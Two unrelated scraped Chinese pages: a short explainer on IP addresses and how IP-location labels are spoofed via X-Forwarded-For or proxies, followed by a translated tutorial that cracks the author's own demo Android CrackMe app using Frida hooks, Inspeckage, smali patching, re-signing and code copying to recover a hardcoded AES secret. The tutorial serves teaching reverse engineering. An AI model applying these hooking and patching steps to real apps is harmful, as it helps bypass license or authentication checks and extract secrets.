IP地址相当于网络世界的门牌号。数据在网络上传输时，依赖这个门牌号找到正确的传输方向。因此，为了接入互联网，设备需要拥有一个公网IP地址。
**公网IP地址**
设备可以直接使用公网IP地址进行通信：
**内网IP地址**
但是IP地址资源有限，为每一个设备分配公网IP不现实，且存在安全隐患。目前广泛使用的IPv4和过渡期试用的IPv6协议，二者除格式不同，后者的空间比前者大2^96倍，基本无其它区别，下文将针对IPv4展开介绍。
为解决IP地址资源有限的问题，往往通过路由器和NAT等相关技术，实现多设备共有同一公网IP地址，路由器充当传达室，为设备分配内网IP地址，一方面允许路由器下所有设备相互通信，另一方面允许路由器下设备与互联网通信。
内网IP地址相当于公司内部房间号，对应的公网IP地址可理解为公司地址。在设备接入网络时，我们很容易在其下属设备的网络信息中找到形如10. _._.
_、172.16-31._.
_、192.168._.*的内网IP地址，接入不同网络环境时的同一设备将获得不同的内网IP地址（也可能相同），不同网络环境下的相同IP地址也代表其下属的不同设备。
在内网通信时使用内网IP地址，在与互联网通信时对路由器使用内网IP地址，路由器对外使用公网IP地址。
**如何通过IP地址查归属地**
查询IP属地都是通过公网IP地址实现的。
我们显然无法仅通过一个房间号判断其所在位置，但通过公司地址可以。区别于GPS定位和移动数据网络定位（信号塔三角定位）等，在通过IP地址查询归属地的过程中不借用任何设备信息，而是通过一个庞大的数据库。
如同固定电话的区号，IP地址的前若干位相同的IP地址被称为一个IP段，这个IP段内的IP有相同用途。通过维护一个包含所有公网IP地址的数据库，我们就可以了解到某个IP的注册机构、用途、地理位置等。
不同数据库的更新频率、准确度和精度不同，各个社交平台也是依赖某个数据库实现的IP地址对应属地。文末提供了IP属地查询工具，感兴趣的同学可以自行尝试属地查询。
#### IP属地可信吗
对于正常在网络冲浪的大家，无法决定IP属地。但是通过某些手段，可以更改在网络冲浪时的IP地址。
**滥用HTTP报头（管理员可以规避风险）**
在使用HTTP(S)协议访问网页时，可以通过在HTTP请求报头中添加首部字段X-Forwarded-For（即对应图中首部字段名为X-Forwarded-For，值为想要伪造的IP）来实现IP属地的改变。这个参数一般用于使用代理服务器后，主动向服务器报告的原始IP，大多数情况不会用到该参数。如果滥用这个参数，可以伪造一个任意的IP地址。但是一般情况下，服务器对于该参数不予以置信，而是信任IP报头中的源地址。
IP报头中的目的地址和源地址是为了保证TCP通讯时双方进行三次握手和四次挥手，之后才可以进行HTTP通讯，如果更改了源地址将导致无法正常通讯。
**代理服务器（管理员难发现且检测花费高）**
代理服务器相当于一个中转站。当使用代理服务器时，所有流量都先经过代理服务器，再由代理服务器发出，使IP属地显示代理服务器的IP属地，这种操作俗称VPN（特指代理服务器位于境外时），网络攻防术语中称作跳板。
实现这一操作只需租赁某地机房，将其作为代理服务器，就能轻易获得该地的IP属地。
如果想判断一个人是否使用的代理服务器，可以维护一个包含所有机房IP段的数据库，而要保障数据库信息实时、准确，需要花费高昂的费用。但即便如此，也难以完全解决问题，如果黑客入侵并控制了某台接入家庭宽带设备，或者购买4G上网卡后将设备藏匿于某地，将其作为代理服务器，则很难被发现。
#### 结语
诚然，显示IP归属地一定程度上可以帮助网友更好地鉴别信息的真实性，进一步保障个人信息安全。但不难看出，通过特定技术手段，IP属地几乎可以随意更改，展示的IP属地并不完全可信，如果有人恶意利用该机制，伪造IP属地发布不实言论，故意煽动地域战争，冒充热门事件当事人、造谣等增加负面消息的可信度，甚至可能导致代理服务器等灰色畸形产业“蓬勃发展”。
因此，在日益复杂的网络环境中，了解更多网络安全知识，提升自身鉴别信息真伪的能力尤为重要。IP属地功能还在不断完善，网络不是法外之地，如果通过代理服务器等方式伪造IP属地违法乱纪，将承担相应的法律责任。净化网络生态，捍卫网络良序，需要网络管理者与您的一同努力。
#### IP地址查询网站
网络上相关工具有很多，在这里列举部分，可供感兴趣的读者进行测试。 | 社区文章 |
# 【技术分享】Android应用逆向工程
##### 译文声明
本文是翻译文章，文章来源：offensivepentest.com
原文地址：<https://offensivepentest.com/2017/08/26/android-application-reverse-engineering/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[L0phTg](http://bobao.360.cn/member/contribute?uid=2722694252)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**序**
阅读本文最好花费 **45Min** ~
你经常在用 Burp
拦截信息的时候很迷茫么？你经常在分析用加密的数据进行通信的App，对于需要理解它的数据而疑惑么？在本文，我将会分享很多方法来用于逆向分析APK。我们将会对目标APP采用动态和静态的分析方法。
我创建了一个简单的APP作为分析目标，它的功能只是单纯地对我们输入的数据进行验证，如果用户输入正确的话，将会在屏幕上显示“Congratulations“。
我们先看一下这个应用的源代码以便于我们一会儿能够将它与反编译后的APK代码进行比较。
package com.punsec.demo;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Base64;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import javax.crypto.SecretKey;
public class MainActivity extends AppCompatActivity {
TextView result;
EditText input;
Button button;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
input = (EditText) findViewById(R.id.input);
result = (TextView) findViewById(R.id.result);
button = (Button) findViewById(R.id.ok);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String a = input.getText().toString();
String b = getString(R.string.a);
try {
SecretKey secretKey = Util.a(new String(Base64.decode(getString(R.string.b), Base64.DEFAULT)));
byte e[] = Util.a(a, secretKey);
String er = Base64.encodeToString(e, Base64.DEFAULT).trim();
if(er.equals(b)) {
result.setText(getString(R.string.d));
}else {
result.setText(getString(R.string.e));
}
} catch (Exception e) {
// Log.d("EXCEPTION:", e.getMessage());
}
}
});
}
}
这个应用使用下面的这个辅助类来执行一些重要的操作：
package com.punsec.demo;
import java.io.UnsupportedEncodingException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.InvalidParameterSpecException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
class Util {
static SecretKey a(String secret)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(secret.getBytes());
byte[] digest = md.digest();
StringBuilder sb = new StringBuilder();
for (byte b : digest) {
sb.append(String.format("%02x", (0xFF & b)));
}
return new SecretKeySpec(sb.toString().substring(0,16).getBytes(), "AES");
}
static byte[] a(String message, SecretKey secret)
throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, InvalidParameterSpecException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException
{
Cipher cipher = null;
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, secret);
return cipher.doFinal(message.getBytes("UTF-8"));
}
static String a(byte[] cipherText, SecretKey secret)
throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidParameterSpecException, InvalidAlgorithmParameterException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException
{
Cipher cipher = null;
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, secret);
return new String(cipher.doFinal(cipherText), "UTF-8");
}
}
你可以下载已经编译好的APK From ->
[CrackMe](https://offensivepentest.com/downloads/CrackMe.apk)
在我们进行下一步的操作之前，先列举分析所需的背景知识:
一个已经root的安卓设备或者虚拟机（虽然并不是所有的分析方法都需要root权限，但是有一个root的设备是不错的）。
[Frida](https://www.frida.re/)
Python
[Inspeckage](https://github.com/ac-pm/Inspeckage)
[Xposed Framework](https://github.com/rovo89/Xposed)
[APKTool](https://ibotpeaches.github.io/Apktool/)
[APKStudio](https://bintray.com/vaibhavpandeyvpz/generic/apkstudio/view)
[ByteCodeViewer](http://bytecodeviewer.com/)
[Dex2Jar](https://sourceforge.net/projects/dex2jar/)
JarSigner(Java JDK)
[JD-JUI](http://jd.benow.ca/)
[Brain](https://www.askideas.com/media/36/I-Cannot-Brain-Today-I-Has-The-Dumb-Funny-Cat-Meme-Image.jpg)
我们将会使用的三种分析方法：
动态分析和Hooking.
二进制文件Patch（byte code修改).
静态分析和代码复制.
**动态/运行时环境 分析和函数Hooking:**
****
我们需要使用的分析工具: Frida, dex2jar, JD-GUI.
用 Frida分析:
到底什么是Frida ?
It's Greasemonkey for native apps, or, put in more technical terms, it’s a dynamic code instrumentation toolkit. It lets you inject snippets of JavaScript or your own library into native apps on Windows, macOS, Linux, iOS, Android, and QNX. Frida also provides you with some simple tools built on top of the Frida API. These can be used as-is, tweaked to your needs, or serve as examples of how to use the API.
用简单的术语来说，它能够被用来Hook函数调用，注入你自己的代码未来能够来修改应用本身的执行流程。我们将会使用它来通过检测和来识别不同的变量。
为了能够安装Frida，我们可以将手机开启USB调试之后用数据线连接电脑，并且在电脑端运行
# check adb devices whether connected or not
adb devices
# push/copy the latest frida server to phone
adb push frida-server-10.4.0-android-arm /data/local/tmp/frida
# set permissions for frida, grant SU permissions if prompted
adb shell su -c "chmod 755 /data/local/tmp/frida"
# start frida server on android device
adb shell su -c "./data/local/tmp/frida &"
# install frida-python on your Windows/Mac/Linux device
pip install --user frida
运行了上面的命令之后，我们的Frida Server就已经运行在了我们的电脑上，让我们来检验一下，打开终端，运行python:
Python 2.7.10 (default, Feb 7 2017, 00:08:15)
Type "help", "copyright", "credits" or "license" for more information.
>>> import frida
>>> frida.get_usb_device()
Device(id="802b7421", name="LG SCH-XXXX", type='tether')
为了方便以后的分析，现在让我们创建一个python脚本:
import frida, sys, time
encrypted = None
def on_message(message, data):
global encrypted
try:
if not encrypted:
encrypted = message['payload']['encrypted']
print('[+] Received str : ' + encrypted)
return
except:
pass
if message['type'] == 'send':
print('[*] {0}'.format(message['payload']))
elif message['type'] == 'error':
if "'encrypted' undefined" in message['description']:
print('[!] Encrypted value not updated yet, try to rotate the device')
else:
print('[!] ' + message['description'])
else:
print message
jscode = open('punsec.js').read()
print('[+] Running')
process_name = 'com.punsec.demo'
device = frida.get_usb_device()
try:
pid = device.get_process(process_name).pid
print('[+] Process found')
except frida.ProcessNotFoundError:
print('[+] Starting process')
pid = device.spawn([process_name])
device.resume(pid)
time.sleep(1)
process = device.attach(pid)
script = process.create_script(jscode)
script.on('message', on_message)
script.load()
while True:
time.sleep(1)
if encrypted:
script.post({'type':'encrypted','value':encrypted})
break
sys.stdin.read()
让我们慢慢讲一些这些代码:
这个Encrypted变量最初是一个无类型的对象，它不久之后就会被脚本来将它更新为一个加密的值。这个 on_message 函数是一个回调函数能够被
frida 的 javascript
代码来利用，在javascript代码之中，我们将注入到我们程序的进程中来回调我们的python代码。这个回调函数能够被通过在javascript代码中的send()
函数来执行。下一个变量是jscode,
它能够将我们的js代码注入到程序的进程中。为了更方便我们阅读，js代码被写到另一个文件中。Process_name变量是我们的进程名字。我们能够通过在adb
shell中运行 "ps" 命令 "pm list packages" 命令得到我们应用的进程名字。
这个 device 变量是来连接我们的USB设备(手机)的。Try except
用于处理异常(万一目标程序还没有在我们的设备上运行的话，就会产生异常)。在知道了运行程序的UID后，我们可以挂接到目标程序上，并且在目标进程上注入jscode。通过使用js的
send() 函数，脚本就会开始注册我们的回调函数。下面是 while
循环，可以看到frida实际上是有多么的强大，在这个循环中，我们检测是否encrypted变量它的类型已经不是None了，如果它的类型发生了改变，脚本的post()函数将会发送一个信息将我们的js代码注入到目标进程，并且信息将会被在js代码中的recv()
函数所处理。
在开始下一步的操作之前，我们需要对目标apk进行静态分析。我们首先要反编译apk并且将java
bytecode转换为.java格式的代码来阅读。在这里，我们使用的分析工具是dex2jar。
$ ./d2j-dex2jar.sh CrackMe.apk
dex2jar CrackMe.apk -> ./CrackMe-dex2jar.jar
现在让我们通过JD-GUI来分析刚才生成的CrackMe-dex2jar.jar文件
可以看到反编译后的代码与原始的java代码还是有很大的不同的。我们来分析一下不同的地方：首先可以很明显的看到资源
id由原来的R.x.x变换称为了数字格式的。
正如我们上面看到的，MainActivity只包含一个 onCreate() 函数。我们首先来看一下android应用的生命周期：
可以看到: onCreate()
函数在app启动之后就运行。为了保持应用的实际功能，我们现在就在hook这个函数，来执行对原始函数的调用，能够获取到目前activity的上下文来得到一些字符串的值，就像下面这一行一样：
String str = MainActivity.this.getString(2131099669);
现在让我们创建punsec.js文件，来得到这些值。
Java.perform(function () {
var MainActivity = Java.use('com.punsec.demo.MainActivity');
MainActivity.onCreate.implementation = function(a) {
this.onCreate(a);
send({"encrypted":this.getString(2131099669)});
};
});
**Java.perform()** 是 frida 定义的，它的功能是：告诉frida server来运行已经包装好的js代码。
**Java.use()** 是一个包装器为了能够动态的加载packages到我们的目标进程中。为了下一步的需要，我们将会使用 **send()**
回调函数来发送数据到我们的python程序中。现在运行着的python脚本给我们返回了这样的信息：
$ python punsec.py
[+] Running
[+] Starting process
[+] Received str : vXrMphqS3bWfIGT811/V2Q==
要记住，要想 **onCreate()**
函数触发，必须要执行回调函数，也就是在启动进程之后，必须要让它在后台运行后再打开程序，请参考上面的Activity生命周期。
我们也看到了代码中有几个调用来执行 **Base64.decode()** 和通过数字id来得到string,
我们可能也会需要这些值，所以让我们来修改一下我们的代码
Java.perform(function () {
var MainActivity = Java.use('com.punsec.demo.MainActivity');
MainActivity.onCreate.implementation = function(a) {
this.onCreate(a);
send({'encrypted':this.getString(2131099669)});
};
var base64 = Java.use('android.util.Base64');
base64.decode.overload('java.lang.String', 'int').implementation = function(x, y) {
send('Base64 Encoded : ' + x);
var buf = new Buffer(base64.decode(x, y));
send('Base64 Decoded : ' + buf.toString());
return base64.decode(x, y);
}
});
再一次运行我们的python程序将会得到下面的输出:
$ python punsec.py
[+] Running
[+] Process found
[*] Base64 Encoded : TXlTdXBlclNlY3JldEwzM3RQYXNzdzByZA==
[*] Base64 Decoded : MySuperSecretL33tPassw0rd
Hmm, 似乎我们已经成功了。不要着急，现在让我们再来仔细看一下我们的反编译代码:
if (Base64.encodeToString(
Util.a(paramAnonymousView,
Util.a(new String(
Base64.decode(MainActivity.this.getString(2131099683), 0)
)
)
),
0).trim().equals(str))
在上面的代码中，有两次对 **Util.a** 函数的调用但是都采用的不同的参数类型，我们已经hook了 **Base64.decode()**
函数，所以现在让我们用下面的代码对 **Util.a()** 创建一个 hook :
Java.perform(function () {
var MainActivity = Java.use('com.punsec.demo.MainActivity');
MainActivity.onCreate.implementation = function(a) {
this.onCreate(a);
send({'encrypted':this.getString(2131099669)});
};
var base64 = Java.use('android.util.Base64');
base64.decode.overload('java.lang.String', 'int').implementation = function(x, y) {
send('Base64 Encoded : ' + x);
var buf = new Buffer(base64.decode(x, y));
send('Base64 Decoded : ' + buf.toString());
return base64.decode(x, y);
}
var Util = Java.use('com.punsec.demo.Util');
Util.a.implementation;
});
运行我们的python代码，然后可以得到以下的输出:
$ python punsec.py
[+] Running
[+] Process found
[!] Error: a(): has more than one overload, use .overload(<signature>) to choose from:
.overload('java.lang.String')
.overload('java.lang.String', 'javax.crypto.SecretKey')
.overload('[B', 'javax.crypto.SecretKey')
这似乎出现了一点错误。看起来是我们的Util类中有函数重载(有相同的方法名称但是拥有不同的参数)。为了克服这个问题, frida提供给我们额外的方法
**overload()** ，通过这个方法，我们可以显式地设置哪个方法来 override/hook。我们将会 hook **Util.a(String,
SecretKey)** 函数(因为它是一个负责加密的函数)来为了进行下一步分析:
但是我们怎么样才能识别出这是一个加密函数的呢？首先可以看到这个函数的返回类型是byte，很显然意味着并没有返回一个string类型，同时，本地密码初始化为1来作为第一个参数传递:
现在，让我们来修改我们的js代码为了能够合理地hook这个函数:
Java.perform(function () {
var MainActivity = Java.use('com.punsec.demo.MainActivity');
MainActivity.onCreate.implementation = function(a) {
this.onCreate(a);
send({'encrypted':this.getString(2131099669)});
};
var base64 = Java.use('android.util.Base64');
base64.decode.overload('java.lang.String', 'int').implementation = function(x, y) {
send('Base64 Encoded : ' + x);
var buf = new Buffer(base64.decode(x, y));
send('Base64 Decoded : ' + buf.toString());
return base64.decode(x, y);
}
var Util = Java.use('com.punsec.demo.Util');
Util.a.overload('java.lang.String', 'javax.crypto.SecretKey').implementation = function(x, y) {
send('UserInput : ' + x);
return this.a(x,y);
}
});
再次运行我们的python程序，观察输出有哪些改变:
$ python punsec.py
[+] Running
[+] Process found
[*] Base64 Encoded : TXlTdXBlclNlY3JldEwzM3RQYXNzdzByZA==
[*] Base64 Decoded : MySuperSecretL33tPassw0rd
[*] UserInput : wrongSecretTest
极好的，我们现在可以拦截我们的输出了。现在我们可以发现 Util 类还有一个函数 **Util.a(byte, SecretKey)**
一直没有在app中使用，通过分析可以看到这是一个解密函数。所以现在我们该如何做呢？
加密函数已经接收到了密钥，所以我们可以在解密函数中利用，但是我们还需要第一个参数。第一个参数是一个 base64 解密的string
变量。所以让我们来修改我们的代码，为了能够在我们的
js中收到这个参数，并且过掉这个解密函数，这样的话，我们就能解密最终的Key来完成这次挑战。现在最后一次修改我们的js代码:
Java.perform(function () {
var MainActivity = Java.use('com.punsec.demo.MainActivity');
MainActivity.onCreate.implementation = function(a) {
this.onCreate(a);
send({'encrypted':this.getString(2131099669)});
};
var base64 = Java.use('android.util.Base64');
base64.decode.overload('java.lang.String', 'int').implementation = function(x, y) {
// send('Base64 Encoded : ' + x);
// var buf = new Buffer(base64.decode(x, y));
// send('Base64 Decoded : ' + buf.toString());
return base64.decode(x, y);
}
var Util = Java.use('com.punsec.demo.Util');
Util.a.overload('java.lang.String', 'javax.crypto.SecretKey').implementation = function(x, y) {
recv('encrypted', function onMessage(payload) {
encrypted = payload['value'];
});
cipher = base64.decode(encrypted, 0); // call the above base64 method
secret = this.a(cipher, y); // call decrypt method
send('Decrypted : ' + secret)
return this.a(secret,y);
}
});
我们把一个 **recv()**
调用放在了函数中以便于可以收到我们写的python程序中已经存储的加密string。现在解密这个已经被加密过的base64密钥并且和密钥一起发送到解密函数中。现在让我们再一次运行我们的python程序：
$ python punsec.py
[+] Running
[+] Process found
[!] Encrypted value not updated yet, try to rotate the device
[+] Received str : vXrMphqS3bWfIGT811/V2Q==
[*] Decrypted : knb*AS234bnm*0
woah, 我们得到了key。这也会覆盖掉任何的用户输入并将其替换为解密的string, 所以现在每一个用户输入都是起作用的:
现在我们不仅用实际的secret覆盖了用户输入，而且还覆盖了实际的secret phrase为了通过这个挑战。
假使我们的apk应用中没有解密函数，我们该怎么办呢？
不必担心，我们能巧妙的将js代码插入到package中来执行解密操作并且用必要的参数覆盖这个方法，或者我们还可以用下面的python代码来解密:
import frida, sys, time, md5
from Crypto.Cipher import AES
encrypted = None
secretKey = None
def decrypt(encrypted, key):
key = md5.new(key).hexdigest()[:16]
cipher = AES.new(key)
decrypted = cipher.decrypt(encrypted.decode('base64'))[:14]
for i in range(1,len(encrypted.decode('base64'))/16):
cipher = AES.new(key, AES, encodedEncrypted.decode('base64')[(i-1)*16:i*16])
decrypted += cipher.decrypt(encodedEncrypted.decode('base64')[i*16:])[:16]
return decrypted.strip()
def on_message(message, data):
global encrypted, secretKey
try:
if not encrypted:
encrypted = message['payload']['encrypted']
if not secretKey:
secretKey = message['payload']['secretKey']
except:
pass
if message['type'] == 'send':
print('[*] {0}'.format(message['payload']))
elif message['type'] == 'error':
if 'ReferenceError' in message['description']:
print('[!] Rotate the device')
else:
print('[!] ' + message['description'])
else:
print message
jscode = open('punsec.js').read()
print('[+] Running')
process_name = 'com.punsec.demo'
device = frida.get_usb_device()
try:
pid = device.get_process(process_name).pid
print('[+] Process found')
except frida.ProcessNotFoundError:
print('[+] Starting process')
pid = device.spawn([process_name])
device.resume(pid)
time.sleep(1)
process = device.attach(pid)
script = process.create_script(jscode)
script.on('message', on_message)
script.load()
while True:
time.sleep(0.2)
if encrypted and secretKey:
script.post({'type':'encrypted','value':decrypt(encrypted, secretKey)})
break
sys.stdin.read()
我们更新后的js代码:
Java.perform(function () {
var MainActivity = Java.use('com.punsec.demo.MainActivity');
MainActivity.onCreate.implementation = function(a) {
this.onCreate(a);
send({'encrypted':this.getString(2131099669)});
};
var base64 = Java.use('android.util.Base64');
base64.decode.overload('java.lang.String', 'int').implementation = function(x, y) {
var buf = new Buffer(base64.decode(x, y));
send({'secretKey': buf.toString()});
return base64.decode(x, y);
}
var Util = Java.use('com.punsec.demo.Util');
Util.a.overload('java.lang.String', 'javax.crypto.SecretKey').implementation = function(x, y) {
recv('encrypted', function onMessage(payload) {
secret = payload['value'];
});
send('Decrypted : ' + secret)
return this.a(secret,y);
}
});
现在运行我们的python程序:
$ python punsec.py
[+] Running
[+] Process found
[*] {u'secretKey': u'MySuperSecretL33tPassw0rd'}
[!] Rotate the device
[*] {u'encrypted': u'vXrMphqS3bWfIGT811/V2Q=='}
[*] {u'secretKey': u'MySuperSecretL33tPassw0rd'}
[*] Decrypted : knb*AS234bnm*0
**用 Inspeckage 来分析**
****
我们将会使用到Inspeckage, Xposed Framework 和 ApkStudio/ByteCodeViewer.
Inspeckage – Android Package Inspector
Inspeckage is a tool developed to offer dynamic analysis of Android applications. By applying hooks to functions of the Android API, Inspeckage will help you understand what an Android application is doing at runtime.
Inspeckage可以让你来用简单的web接口进行分析。Inspeckage需要你安装Inspeckage Xposed module并且在 Xpose
框架中激活它。在你的android设备上启动Inspeckage App并且选择我们的目标应用并且在Inspeckage Webserver中浏览。
打开自动刷新开关，点击在webserver上的设置按钮并且关闭一些Actvity检测就像下面这张图一样，最后点击 start App 并且刷新页面。
一旦我们的App在手机上运行，就在App上输入测试的数据并点击ok按钮，然后观察Inspeckage webserver上的通知(注意要开启自动刷新):
这两张截图都显示出了我们使用了frida方法。用 Inspeckage分析是相当简单的，你可以检测app执行的文件系统Activities,
SQL队列操作，在这背后使用的是和我们使用frida方法相同的概念:
在加密，文件系统，hash等操作函数上进行hook，但是在这里，我们可以执行函数hook吗?
当然了，正如你在最后一个标签上看到的，它提供了一个hook选项。但是随之而来的问题是：它不像frida那样，Inseckage没有提供对重载的方法的覆盖，现在点击hook标签并且创建一个hook来验证我们的想
法:
所以现在为了能够创建一个有效的hook，我们将会使用 ByteCodeViewer 或者 APKStudio 来修改apk中的
bytecode(字节码)。下面这是我们对字节码的patch:
(注意：当打开apk的时候，取消选择"Decode Resource"，否则你将会遇到下面这些问题)
ERROR: 9-patch image C:UserslabuserDesktopCrackMeresdrawable-mdpi-v4abc_list_divider_mtrl_alpha.9.png malformed.
Must have one-pixel frame that is either transparent or white.
ERROR: Failure processing PNG image C:UserslabuserDesktopCrackMeresdrawable-mdpi-v4abc_list_divider_mtrl_alpha.9.png
ERROR: 9-patch image C:UserslabuserDesktopCrackMeresdrawable-hdpi-v4abc_list_divider_mtrl_alpha.9.png malformed.
Must have one-pixel frame that is either transparent or white.
ERROR: Failure processing PNG image C:UserslabuserDesktopCrackMeresdrawable-hdpi-v4abc_list_divider_mtrl_alpha.9.png
ERROR: 9-patch image C:UserslabuserDesktopCrackMeresdrawable-xhdpi-v4abc_list_divider_mtrl_alpha.9.png malformed.
Must have one-pixel frame that is either transparent or white.
ERROR: Failure processing PNG image C:UserslabuserDesktopCrackMeresdrawable-xhdpi-v4abc_list_divider_mtrl_alpha.9.png
ERROR: 9-patch image C:UserslabuserDesktopCrackMeresdrawable-xxhdpi-v4abc_list_divider_mtrl_alpha.9.png malformed.
Must have one-pixel frame that is either transparent or white.
ERROR: Failure processing PNG image C:UserslabuserDesktopCrackMeresdrawable-xxhdpi-v4abc_list_divider_mtrl_alpha.9.png
在上面那副截图中，可以看到第168行，我们通过识别第168行的参数类型和返回值，成功的识别出了这就是加密函数，在第197行，这个被赋值为1的变量也是我们之前看到的。我们已经把这个函数的名字改成了b
,并且解密函数名称改为c。现在为了保证我们的app可以正常运行，我们需要在MainActivity的字节码上做出相同的更新:
现在我们的任务已经完成了，可以创建一个 **keystore** 来对我们的apk进行签名。
C:Program FilesJavajdk1.8.0_144bin>keytool -genkey -v -keystore C:userslabuserDesktopmy.keystore -alias alias_na
me -keyalg RSA -keysize 2048 -validity 10000
Enter keystore password:
Re-enter new password:
What is your first and last name?
[Unknown]:
What is the name of your organizational unit?
[Unknown]:
What is the name of your organization?
[Unknown]:
What is the name of your City or Locality?
[Unknown]:
What is the name of your State or Province?
[Unknown]:
What is the two-letter country code for this unit?
[Unknown]:
Is CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown correct?
[no]: yes
Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 10,000 days
for: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
Enter key password for <alias_name>
(RETURN if same as keystore password):
[Storing C:userslabuserDesktopmy.keystore]
C:Program FilesJavajdk1.8.0_144bin>jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore C:userslabuserDesktopmy.keystore C:userslabuserDesktopCrackMe.apk alias_name
将已经签名的apk安装到设备上。重启Inspeckage，开始hook来验证是否我们的修改已经起作用了。
极好地，我们的修改是完美的，现在我们可以对目标函数 **Util.b()** 下hook。选择这个函数并且点击 Add hook
按钮。现在让我们点击ok按钮并且观察Inspeckage Server的通知。
我们可以看到Inspeckage已经成功地从已经hook的函数中截取到数据并且提供给我们了函数的参数和返回值。现在点击 Replace
按钮并且配置如下的选项。
在这里我们将第一个参数传递给了我们的加密函数，这个函数拥有我们已经用frida识别出来的秘密值。无论什么时候进行输入测试(大小写敏感)，Hook都会替换数据并且传递我们提供的值，然后将Congratulations再一次显示在我们的屏幕上。
**二进制补丁（字节码修改）**
****
在这个方法中，我们将会使用 **ApkStudio** 和 **Jarsigner** 。
我们将会通过修改反编译的Apk，之后重新编译它来修改程序的逻辑。启动 ApkStudio并且再次加载文件( 记住要取消选择"Decode
Resources"复选框)，之后在MainActivity$1.smali中定位到程序代码中进行比较的位置
我们可以在第113行看到程序会比较两个不同的值来执行检测，如果比较失败了，会显示"Umm, Try
Again"。但是如果程序总是将两个相同的值进行比较会怎么样呢？在这种情况下，程序将会跳过else条件直接返回true。所以现在让我们将代码修改后重新编译并对我们的Apk进行签名，然后做测试。
再一次运行应用验证是否程序是否通过了原来的程序逻辑。
**静态分析和代码复制**
****
在这个方法中，我们将会使用 **Android Studio/IntelliJ** 和 **ByteCodeViewer** 来进行静态代码分析。
Static analysis
Also called static code analysis, is a method of computer program debugging that is done by examining the code without executing the program. The process provides an understanding of the code structure, and can help to ensure that the code adheres to industry standards.
启动 ByteCodeViewer(BCV)
并且等待它来安装依赖项。一旦安装好了之后，我们将可以直接在它里面打开apk文件。在BCV中，点击File->Add 并且选择
CrackMe.apk，然后让它完成加载这个文件。点击 **View- >Pane1->Procyon->java** 和 **View->Pane2->Smali/Dex->Samli/Dex** 。你的界面将会看起来和下面的一样
在第9行，我们可以看到"final String string2 =
this.this$0.getString(2131099669);"。在当前活动上下文的getString()方法，可以使用"this"，"MainActivity.this
"或者"getApplicationContext() "
通过一个整数值来得到资源值。这些数字id的索引在R类中被创建，所以我们将会在R$string.class 中寻找资源id，BCV可以将内容识别为xml
文件格式。
我们可以看到这个整数值被分配给a，现在我们不得不对a在strings.xml中做一个查找，你可以在BCV中通过展开 **CrackMe.apk->Decoded Resources->res->values->strings.xml **。
有时候BCV打开文件会呈现出二进制形式而不是xml格式，对于这种情况，我们可以点击File->Save As Zip
，然后解压zip并且在编辑器中打开strings.xml。
极好的，我们已经找到了这个字符串。我们将会用这个方法恢复所有的字符串并且保存它们。
2131099669 -> a -> vXrMphqS3bWfIGT811/V2Q==
2131099683 -> b -> TXlTdXBlclNlY3JldEwzM3RQYXNzdzByZA==
2131099685 -> d -> Congratulations
2131099686 -> e -> Umm, Try again
我们将会使用IntelliJ来写我们的代码来试图实现逆向原始函数的功能，通过从BCV反编译后的文件中复制代码。
当所有的代码让在一块的时候，它将会看起来像下面的代码
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.security.MessageDigest;
import java.util.Base64;
class Decrypt {
public static void main(String args[]) {
String a = "vXrMphqS3bWfIGT811/V2Q==";
String b = "TXlTdXBlclNlY3JldEwzM3RQYXNzdzByZA==";
String new_b = new String(Base64.getDecoder().decode(b));
byte[] array = Base64.getDecoder().decode(a);
String decoded = decrypt(array, getKey(new_b));
System.out.println("Decoded : " + decoded);
}
private static String decrypt(byte[] array, SecretKey secretKey) {
String decoded = null;
try {
Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
instance.init(2, secretKey);
decoded = new String(instance.doFinal(array), "UTF-8");
}catch (Exception e) {
// do something
}
return decoded;
}
private static SecretKey getKey(String s) {
SecretKeySpec secretKeySpec = null;
try {
MessageDigest instance = MessageDigest.getInstance("MD5");
instance.update(s.getBytes());
byte[] digest = instance.digest();
StringBuilder sb = new StringBuilder();
for (int length = digest.length, i = 0; i < length; ++i) {
sb.append(String.format("%02x", digest[i] & 0xFF));
}
secretKeySpec = new SecretKeySpec(sb.toString().substring(0, 16).getBytes(), "AES");
} catch (Exception e) {
// do something
}
return secretKeySpec;
}
}
将文件命名为 **Decrypt.java** 并保存文件。我们需要编译这个文件，然后运行它来检测我们的代码是否起作用了。
// create new file
$ nano Decrypt.java
// compile file
$ javac Decrypt.java
// run file
$ java Decrypt
Decoded : knb*AS234bnm*0
我们可以在python代码中做同样的事情，就像先前frida那样，但是有时候复制代码是更简单的，因为只需要做很小的修改就可以使它运行。
我们已经描述了所提到的所有工具和方法，现在是时候喝杯咖啡了。 | 社区文章 |
# 【技术分享】在macOS内存中运行可执行文件
|
##### 译文声明
